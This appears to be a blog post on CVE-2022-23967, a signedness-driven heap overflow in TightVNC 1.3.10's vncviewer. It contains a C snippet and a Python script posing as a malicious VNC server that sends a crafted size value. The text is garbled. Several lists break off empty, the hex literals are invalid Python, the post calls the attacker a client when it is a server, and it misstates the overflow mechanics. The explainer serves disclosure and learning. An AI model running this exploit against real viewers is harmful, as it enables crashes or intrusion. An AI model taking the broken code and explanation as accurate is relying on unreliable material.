TightVNC is a popular remote desktop control software, widely used for accessing and managing computers remotely. In version 1.3.10, a critical vulnerability was discovered — now cataloged as CVE-2022-23967 — that impacts its vncviewer component. This post will break down how the flaw happens, provide code snippets, link to more resources, and even outline exploit details, all in everyday clear language.

What Is CVE-2022-23967?

CVE-2022-23967 refers to an integer signedness error in TightVNC 1.3.10 within the InitialiseRFBConnection function (rfbproto.c file). This bug causes a heap-based buffer overflow due to improper size checking before calling malloc().

The Problem: Signedness Bug in malloc()

In C, the malloc() function is used to allocate memory, but it expects a size_t parameter, which is unsigned. In the vulnerable code section, a value is read from the network and stored in a signed integer. However, no check is done to ensure that the value is positive before passing it to malloc().

If an attacker sends -1 (as xffffffff in unsigned form), malloc(-1) actually becomes malloc(xffffffff) — meaning “allocate 4GB of memory!” Malicious clients can abuse this bug to:

Let's look at a snippet from rfbproto.c

int n = ...; // Value read from the remote server (possibly supplied by attacker)
char *buf;

buf = (char *)malloc(n);
memcpy(buf, ... , n); // Heap overflow if n is large or negative!

Vulnerable Point:

Malicious VNC server or network attacker initiates a connection.

2. They respond with a specially crafted value (e.g., xffffffff as an unsigned 4-byte integer — which is interpreted as -1 signed).

vncviewer calls malloc(-1), gets a chunk, then copies 4GB of data into a tiny spot.


Result:

This script acts as a malicious VNC server

import socket
import struct

HOST = '...'
PORT = 5901

def malicious_rfb_server():
    s = socket.socket()
    s.bind((HOST, PORT))
    s.listen(1)
    print(f"[+] Malicious VNC server listening on {HOST}:{PORT}")
    conn, addr = s.accept()
    print(f"[+] Connection from {addr}")

    # Send handshake, protocol, etc. (details skipped)
    # ...
    
    # Send -1 as the framebuffer size to vncviewer:
    payload = struct.pack('>I', xffffffff)  # Big endian 4 bytes
    conn.send(payload)
    print("[+] Sent malicious payload (xffffffff)")

    # Optionally, send a lot of junk data
    conn.send(b'A' * 1024)
    conn.close()

malicious_rfb_server()

What happens: When a vulnerable vncviewer connects, it triggers the heap overflow and crashes or may allow further exploitation.

Protecting Yourself

- Update TightVNC: The bug has been fixed in later versions. Always use the latest TightVNC.

References

- CVE-2022-23967 at NVD
- TightVNC official download
- Original upstream bug report
- Exploit DB Discussion

Conclusion

CVE-2022-23967 is a stark reminder of why proper bounds checking is critical in low-level programming. A simple oversight in handling signed vs. unsigned integers can have broad security impacts — from causing simple crashes to enabling full remote code execution.

Takeaways:

Keep learning and stay safe!

*Only use this information for learning and improving security. Never attack systems without permission.*

Timeline

Published on: 01/26/2022 21:15:00 UTC
Last modified on: 02/02/2022 23:06:00 UTC